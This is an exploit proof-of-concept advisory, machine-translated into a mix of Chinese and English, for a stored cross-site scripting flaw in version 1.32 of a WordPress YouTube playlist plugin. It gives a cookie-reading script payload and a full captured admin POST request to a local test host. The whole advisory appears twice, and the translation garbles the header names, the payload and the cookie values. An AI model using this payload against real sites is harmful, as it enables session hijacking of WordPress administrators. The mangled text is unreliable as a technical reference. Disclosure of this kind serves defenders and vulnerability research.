＃exploit title: YouTube的WordPress插件播放列表- 存储的跨站点脚本（XSS）
＃Date: 2024年3月22日
＃利用作者: erdemstar
＃vendor: https://wordpress.com/
＃版本: 1.32
＃概念证明:
1。单击添加新的播放列表，然后在下面输入XSS有效载荷中，以“名为“名称”或“播放列表ID”的属性。
＃POC VIDEO:
＃弱点属性名称:名称，playlist_id
＃PAYLOAD:'SCRACTALERT（DOMING.COOKIE）/脚本
＃request:
post/wp-admin/admin.php?page=playlists_yt_free http/2
HOST: ERDEMSTAR.LOCAL
cookie: thc_time=1713843219; booking_package_accountkey=2; wordpress_sec_dd86dc85a236e19160e960e96f4ec4b56b38=admin％7C1714079650％7CIDP5SIMFKCZSNZSNZY8WFWFWU5 GZFQVLOYP1JZXK77XPOW5R％7C27ABDAE5AA28462227B32B474B90F0E01FA4751D5C55C55C543B281C281C2348B60F078D2F; WP-SETTINGS TIME-4=1711124335; cld_2=like; _hjsessionuser_3568329=eyjpzci6imy4mwe3njljlwvin2mtnwm5ms05mzeyltq4mgrlztc4njc5sisimimnyzwf0zwf0zwqioje3mtezotmtezotmtezotm1mjq2ndysimv4axn0cn0cn0cn0c0c0cnij5; WP-SETTINGS TIME-1=1712096748; WP-SETTINGS-1=Mfold％3DO％26LibraryContent％3DBROWSE％26uploader％3D1％26categories_tab％3DPOP％26urlbutton％3Dfile％26Editor％26Editor％3Dtinymce％3DTINYMCE％26unfold％3D1; wordpress_test_cookie=wp％20cookie％20check; wp_lang=en_us; wordpress_logged_in_dd86dc85a236e19160e960e96f4ec4b56b38=admin％7C1714079650％7CIDP5SIMFKCZSNZSNZSNZY8WF WU5GZFQVLOYP1JZXK77XPOW5R％7CC64C64C696FD4114DBA180DC6974E102CC02DC9AB8D37482E5C45C4E86C4E86C8E8E84E1F74F9
内容长度: 178
cache-control: max-age=0
sec-ch-ua:'不（a:brand'; v='24'，'chromium'; v='122'
sec-ch-ua-mobile:0
sec-ch-ua-platform:'macos'
升级- 不肯定- requests: 1
Origin: https://erdemstar.local
content-type:应用程序/x-www-form-urlenceded
用户- 代理: Mozilla/5.0（Windows NT 10.0; Win64; X64）AppleWebkit/537.36（Khtml，像Gecko一样）Chrome/122.0.6261.112 Safari/537.36
ACCEPT: TEXT/HTML，应用程序/XHTML+XML，Application/XML; Q=0.9，Image/avif，Image/WebP，Image/apng，/; q=0.8，application/application/application/nabiped-exchange; v=b3; q=0.7
sec-fetch-site:相同原产
sec-fetch mode:导航
sec-fetch-user:1
sec-fetch-Dest:文档
Referer: https://erdemstar.local/wp-admin/admin.php？page=playlists_yt_free
Accept-incoding: Gzip，Deflate，br
Accept-Language: en-us，en; q=0.9
Priority: u=0，i
_wpnonce=17357e6139_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dplaylists_yt_freename='scriptalert(document.cookie)/scriptplaylist_id=123template=1text_size=123text_color=%23000000
＃Date: 2024年3月22日
＃利用作者: erdemstar
＃vendor: https://wordpress.com/
＃版本: 1.32
＃概念证明:
1。单击添加新的播放列表，然后在下面输入XSS有效载荷中，以“名为“名称”或“播放列表ID”的属性。
＃POC VIDEO:
＃PAYLOAD:'SCRACTALERT（DOMING.COOKIE）/脚本
＃request:
post/wp-admin/admin.php?page=playlists_yt_free http/2
HOST: ERDEMSTAR.LOCAL
cookie: thc_time=1713843219; booking_package_accountkey=2; wordpress_sec_dd86dc85a236e19160e960e96f4ec4b56b38=admin％7C1714079650％7CIDP5SIMFKCZSNZSNZY8WFWFWU5 GZFQVLOYP1JZXK77XPOW5R％7C27ABDAE5AA28462227B32B474B90F0E01FA4751D5C55C55C543B281C281C2348B60F078D2F; WP-SETTINGS TIME-4=1711124335; cld_2=like; _hjsessionuser_3568329=eyjpzci6imy4mwe3njljlwvin2mtnwm5ms05mzeyltq4mgrlztc4njc5sisimimnyzwf0zwf0zwqioje3mtezotmtezotmtezotm1mjq2ndysimv4axn0cn0cn0cn0c0c0cnij5; WP-SETTINGS TIME-1=1712096748; WP-SETTINGS-1=Mfold％3DO％26LibraryContent％3DBROWSE％26uploader％3D1％26categories_tab％3DPOP％26urlbutton％3Dfile％26Editor％26Editor％3Dtinymce％3DTINYMCE％26unfold％3D1; wordpress_test_cookie=wp％20cookie％20check; wp_lang=en_us; wordpress_logged_in_dd86dc85a236e19160e960e96f4ec4b56b38=admin％7C1714079650％7CIDP5SIMFKCZSNZSNZSNZY8WF WU5GZFQVLOYP1JZXK77XPOW5R％7CC64C64C696FD4114DBA180DC6974E102CC02DC9AB8D37482E5C45C4E86C4E86C8E8E84E1F74F9
内容长度: 178
cache-control: max-age=0
sec-ch-ua:'不（a:brand'; v='24'，'chromium'; v='122'
sec-ch-ua-mobile:0
sec-ch-ua-platform:'macos'
升级- 不肯定- requests: 1
Origin: https://erdemstar.local
content-type:应用程序/x-www-form-urlenceded
用户- 代理: Mozilla/5.0（Windows NT 10.0; Win64; X64）AppleWebkit/537.36（Khtml，像Gecko一样）Chrome/122.0.6261.112 Safari/537.36
ACCEPT: TEXT/HTML，应用程序/XHTML+XML，Application/XML; Q=0.9，Image/avif，Image/WebP，Image/apng，/; q=0.8，application/application/application/nabiped-exchange; v=b3; q=0.7
sec-fetch-site:相同原产
sec-fetch mode:导航
sec-fetch-user:1
sec-fetch-Dest:文档
Referer: https://erdemstar.local/wp-admin/admin.php？page=playlists_yt_free
Accept-incoding: Gzip，Deflate，br
Accept-Language: en-us，en; q=0.9
Priority: u=0，i
_wpnonce=17357e6139_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dplaylists_yt_freename='scriptalert(document.cookie)/scriptplaylist_id=123template=1text_size=123text_color=%23000000
